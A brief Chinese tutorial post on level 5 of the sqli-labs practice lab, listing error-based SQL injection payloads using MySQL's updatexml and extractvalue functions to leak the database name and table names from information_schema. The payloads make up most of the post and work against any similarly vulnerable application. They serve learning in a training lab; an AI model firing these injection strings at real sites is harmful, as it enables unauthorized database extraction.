sqllabs第五关updatexml报错注入

-1' and updatexml(1,concat('~',database(),'~'),1) --+

-1' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database()limit 1,1),'~'),1) --+

-1' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database()limit 3,1),'~'),1) --+

下面的都可以按照上面的大家要学会语法

还有下面还有个拓展函数也是报错函数

extractvalue()

id = -1' and (extractvalue(1, concat(0x5c,(select database()))))--+

相关推荐
小辉懂编程5 分钟前
Spark sql 常用时间函数 to_date ,datediff
大数据·sql·spark
徐子元竟然被占了!!7 小时前
Linux-systemctl
linux·数据库·oracle
YJlio9 小时前
Active Directory 工具学习笔记(10.8):AdInsight——保存与导出(证据留存、共享与二次分析)
数据库·笔记·学习
suoyue_zhan9 小时前
GBase的管理监控平台GEM实践指南
数据库
哈哈老师啊10 小时前
Springboot学生综合测评系统hxtne(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
java·数据库·spring boot
小小8程序员10 小时前
Redis-10
数据库·redis·缓存
liuzhilongDBA10 小时前
从collation mismatch异常到其原理
数据库·version·glibc·postgres·collation
梁萌10 小时前
MySQL数据库分库分表介绍
数据库·mysql·shardingsphere·分库分表
占疏11 小时前
dify API访问工作流/聊天
开发语言·数据库·python